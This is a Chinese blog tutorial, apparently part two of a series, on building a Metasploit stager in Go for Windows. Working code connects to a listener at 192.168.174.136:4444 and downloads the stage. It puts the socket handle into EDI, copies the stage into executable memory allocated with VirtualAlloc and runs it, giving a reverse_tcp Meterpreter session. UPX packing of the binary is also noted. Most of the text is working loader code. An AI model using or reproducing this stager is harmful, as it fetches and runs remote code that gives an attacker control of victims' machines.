採用 Golang 開發stagers
上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能
思路梳理
在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的檔案描述符,除此之外,我們還是同樣的步驟
- 向 msf 監聽地址發起 tcp 請求
- 獲取 stages
- 將 socket fd 放入暫存器 edi
- 從起始地址開始執行 stages
編譯環境
-
OS: Windows 10
-
Golang: go version go1.14.1 windows/amd64
獲取stages
socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
return err
}
// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
return err
}
if numOfBytes != 4 {
return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))
// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
return err
}
if numOfBytes != payloadSize {
return errors.New("Number of payload bytes does not match payload size! ")
}
這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連線讀取資料使用的是 Read,但是並不能讀全,和網路有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 後,我們可以進行下一步操作了。
socket fd 放入 edi
conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))
buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff
這部分程式碼就是我上面所說的難點了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444")
返回的是一個介面 type Conn interface
,我們需要找到他的真實型別,繼續往裡面跟我們會發現他的真實型別是 *net.TCPConn
,為什麼要做這一步?
我們先看看這個結構體
// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
conn
}
type conn struct {
fd *netFD
}
我們其實需要的是裡面的檔案描述符,我們再往裡跟一下
// Network file descriptor.
type netFD struct {
pfd poll.FD
// immutable until Close
family int
sotype int
isConnected bool // handshake completed or use of association with peer
net string
laddr Addr
raddr Addr
}
// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
// Lock sysfd and serialize access to Read and Write methods.
fdmu fdMutex
// System file descriptor. Immutable until Close.
Sysfd syscall.Handle
// Read operation.
rop operation
// Write operation.
wop operation
// I/O poller.
pd pollDesc
// Used to implement pread/pwrite.
l sync.Mutex
// For console I/O.
lastbits []byte // first few bytes of the last incomplete rune in last write
readuint16 []uint16 // buffer to hold uint16s obtained with ReadConsole
readbyte []byte // buffer to hold decoding of readuint16 from utf16 to utf8
readbyteOffset int // readbyte[readOffset:] is yet to be consumed with file.Read
// Semaphore signaled when file is closed.
csema uint32
skipSyncNotif bool
// Whether this is a streaming descriptor, as opposed to a
// packet-based descriptor like a UDP socket.
IsStream bool
// Whether a zero byte read indicates EOF. This is false for a
// message based socket connection.
ZeroReadIsEOF bool
// Whether this is a file rather than a network socket.
isFile bool
// The kind of this file.
kind fileKind
}
可以看到 Sysfd
是檔案描述符,也就是我們想要的,我們需要取一下,這裡因為 Golang 裡面小寫開頭的欄位是不匯出的,我們需要使用反射取一下
注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非匯出欄位,官方是不保證向下相容性的
所以獲取檔案描述符的程式碼就是
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))
檔案描述符是 handle 所指向的值,這裡需要注意一下
然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 陣列
然後我們需要把 socket fd 放入 edi
payload = append(append([]byte{0xBF}, socketFD...), payload...)
把 mov edi, xxxx
放到了 stages 頭部
執行stages
一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裡的實現方式八仙過海各顯神通了,我這裡只給我我這裡的實現方式
// modify payload to comply with the plan9 calling convention
payload = append(
[]byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
append(
payload,
[]byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
)...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)
這裡的一串奇奇怪怪的字元可以不用加,只是為了遵守 plan9 彙編的呼叫約定,一些 push 儲存堆疊現場和 pop 還原
然後就是先通過申請 VirtualAlloc
一塊可讀可寫可執行的記憶體,然後使用 RtlCopyMemory
把 stages 位元組碼拷貝進去,然後開始跑。
這裡的 windows api 使用的宣告如下
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
這裡其實你也可以使用 x/windows
庫方便使用。
結果展示
64位編譯出來 1.73M,通過 upx 壓縮後 616kb,32位編譯出來會更小
執行試試
監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線
注意事項
- 可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非匯出欄位,官方是不保證向下相容性的
- 依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯
成果原始碼
成果原始碼我就不貼出來了,其實也是這些程式碼組合在一起